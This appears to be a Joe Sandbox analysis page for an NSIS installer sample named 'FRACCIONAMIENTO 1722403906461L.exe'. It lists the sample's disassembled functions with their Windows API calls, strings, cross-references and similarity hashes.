Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1664645273
Opcode ID: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction ID: e235badc60aeba35c86cf297cd954ec43a22164425911800af60bc979c7621a1
Opcode Fuzzy Hash: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction Fuzzy Hash: E661D570640201BAD730AF66AD45E2B3A7CEB84B49F40457FF945B22E1DB3D5911CA3D

Uniqueness

Uniqueness Score: -1.00%

Function 004030D0 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004030E4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,00000400), ref: 00403100

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,80000000,00000003), ref: 00403149
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328B

Strings

C:\Users\user\Desktop, xrefs: 0040312B, 00403130, 00403136
soft, xrefs: 004031BE
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D4
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403322
C:\Users\user\AppData\Local\Temp\, xrefs: 004030DA, 004032A3
C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe, xrefs: 004030EA, 004030F9, 0040310D, 0040312A
Null, xrefs: 004031C7
Inst, xrefs: 004031B5
Error launching installer, xrefs: 00403120

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-462127991
Opcode ID: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction ID: 6a7077609e6cbe8902eef3654a796be60faa9129f620d49927b75729aeb44cd1
Opcode Fuzzy Hash: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction Fuzzy Hash: 74710271A40204ABDB20DFB5DD85B9E3AACAB04315F21457FF901B72D2CB789E418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,?,?,00000031), ref: 004017D5

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 0040179E
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nsr68C1.tmp$C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll$Call
API String ID: 1941528284-3220667844
Opcode ID: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
Instruction ID: 87dd38174d63fc88252c3cacf76d35d2aef1a13c6195c1d88e2760da23471212
Opcode Fuzzy Hash: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
Instruction Fuzzy Hash: DE41B771500205BACF10BBB5CD85DAE7A75EF45328B20473FF422B21E1D63D89619A2E

Uniqueness

Uniqueness Score: -1.00%

Function 004069C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
wsprintfW.USER32 ref: 00406A17
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Strings

%s%S.dll, xrefs: 00406A11
\, xrefs: 004069ED
UXTHEME, xrefs: 004069CE

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: e2ac2e7087162e0187f8b4d6776822ec24d6e31928394cf94a41c199a4feb156
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: 3AF096B154121DA7DB14AB68DD0EF9B366CAB00705F11447EA646F20E0EB7CDA68CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405B99 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC
GetLastError.KERNEL32 ref: 00405BF0
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C05
GetLastError.KERNEL32 ref: 00405C0F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BBF

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3355392842
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 886f74eda6482ab63e8fe18d08a652fea41827dc0a526659a7d7b5e138c44e4e
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 95010871D04219EAEF009FA1CD44BEFBBB8EF14314F04403ADA44B6180E7789648CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00406BB0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015, xrefs: 00406BBA

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID: <?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015
API String ID: 0-2858670568
Opcode ID: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction ID: 41bbaa2e3590000dceee7c9791d291245bc26db239967492cd44d063337b5de0
Opcode Fuzzy Hash: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction Fuzzy Hash: 3E814831D08228DBEF28CFA8C8447ADBBB1FF44305F14816AD856B7281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 71311817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 71311BFF: GlobalFree.KERNEL32(?), ref: 71311E74
Part of subcall function 71311BFF: GlobalFree.KERNEL32(?), ref: 71311E79
Part of subcall function 71311BFF: GlobalFree.KERNEL32(?), ref: 71311E7E

GlobalFree.KERNEL32(00000000), ref: 713118C5
FreeLibrary.KERNEL32(?), ref: 7131194B
GlobalFree.KERNEL32(00000000), ref: 71311970

Part of subcall function 7131243E: GlobalAlloc.KERNEL32(00000040,?), ref: 7131246F

Part of subcall function 71312810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,71311896,00000000), ref: 713128E0

Part of subcall function 71311666: wsprintfW.USER32 ref: 71311694

Strings

, xrefs: 71311951

Memory Dump Source

Source File: 00000001.00000002.16158677852.0000000071311000.00000020.00000001.01000000.00000004.sdmp, Offset: 71310000, based on PE: true

Associated: 00000001.00000002.16158620855.0000000071310000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158742239.0000000071314000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158797854.0000000071316000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71310000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 03258590af4b79319a75bd0cb103968893f128046f944600eef3411ac4c1be07
Instruction ID: 7c40ea728fdb6cadd2fb71ca67754da08d7f80f4c6506c9f6816fbf9e2a7ed8c
Opcode Fuzzy Hash: 03258590af4b79319a75bd0cb103968893f128046f944600eef3411ac4c1be07
Instruction Fuzzy Hash: 6341B272900A07DBEB099F78D884FC53BBDBF0535CF148469ED569A08EDBB48185E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00403479 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040348D

Part of subcall function 004035F8: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 004034C0
SetFilePointer.KERNELBASE(00022C22,00000000,00000000,<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015,00004000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000), ref: 004035BB

Strings

<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015, xrefs: 004034ED, 004034F3

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: <?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015
API String ID: 1092082344-2858670568
Opcode ID: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction ID: 4a0f782daef8a724a5dada35133bb9654e3c612a62d69fcdf17392b9264be50a
Opcode Fuzzy Hash: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction Fuzzy Hash: 3A31AEB2650205EFC7209F29EE848263BADF70475A755023BE900B22F1C7B59D42DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040248A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsr68C1.tmp,00000023,00000011,00000002), ref: 004024D5
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsr68C1.tmp,00000000,00000011,00000002), ref: 00402515
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr68C1.tmp,00000000,00000011,00000002), ref: 004025FD

Strings

C:\Users\user\AppData\Local\Temp\nsr68C1.tmp, xrefs: 004024C6, 004024D4, 004024EB, 004024FF, 0040250A

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsr68C1.tmp
API String ID: 2655323295-1765181367
Opcode ID: 9c86e53f0ab96bac3dc9ba6bf3699c46313c21c8edda6fdc1e85d5f454bbf74d
Instruction ID: a516967871aadb8e7373f7254d3c24ec0cdbd982f2b4049ed7d94b0996b6da2b
Opcode Fuzzy Hash: 9c86e53f0ab96bac3dc9ba6bf3699c46313c21c8edda6fdc1e85d5f454bbf74d
Instruction Fuzzy Hash: 4011AF71E00108BEEF10AFA1CE49EAEB6B8EB44354F11443AF404B61C1DBB98D409658

Uniqueness

Uniqueness Score: -1.00%

Function 00406187 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004061A5
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040363E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 004061C0

Strings

nsa, xrefs: 00406194
C:\Users\user\AppData\Local\Temp\, xrefs: 0040618C

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-944333549
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: 21b676f9b33da427d45e0b2d6905a63b6509bf3d89a4e990effff8b21c6fdcbe
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: C3F09076700214BFEB008F59DD05E9AB7BCEBA1710F11803AEE05EB180E6B0A9648768

Uniqueness

Uniqueness Score: -1.00%

Function 00403371 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 00403396

Strings

<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015, xrefs: 004033EB, 00403402, 00403418

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FilePointer
String ID: <?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015
API String ID: 973152223-2858670568
Opcode ID: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction ID: 963a71f16df831595788c30304fa9cedbf2cad19eb63879c1ada4fe15c9ed8fa
Opcode Fuzzy Hash: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction Fuzzy Hash: 93319F70200219EFDB129F65ED84E9A3FA8FF00355B10443AF905EA1A1D778CE51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,769B3420,?,769B2EE0,00405D94,?,769B3420,769B2EE0,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405B99: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401640

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 1892508949-670666241
Opcode ID: 549c49a0165827fdc5d5d158968deb429f02c31064a37383ceaea4003741be7b
Instruction ID: a0118e7b9b939ef3ea3e51add98df8039a5aa70d3b8e99a19be4f9c31e9f39fe
Opcode Fuzzy Hash: 549c49a0165827fdc5d5d158968deb429f02c31064a37383ceaea4003741be7b
Instruction Fuzzy Hash: 04112231508105EBCF30AFA0CD4099E36A0EF15329B28493BF901B22F1DB3E4982DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00407194 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction ID: 10cc2cc0f2c892254e5285b7a8bac4c216a70fda8fb68dfa7c3680dd08f727d3
Opcode Fuzzy Hash: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction Fuzzy Hash: 55A15571E04228DBDF28CFA8C8547ADBBB1FF44305F10842AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407395 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

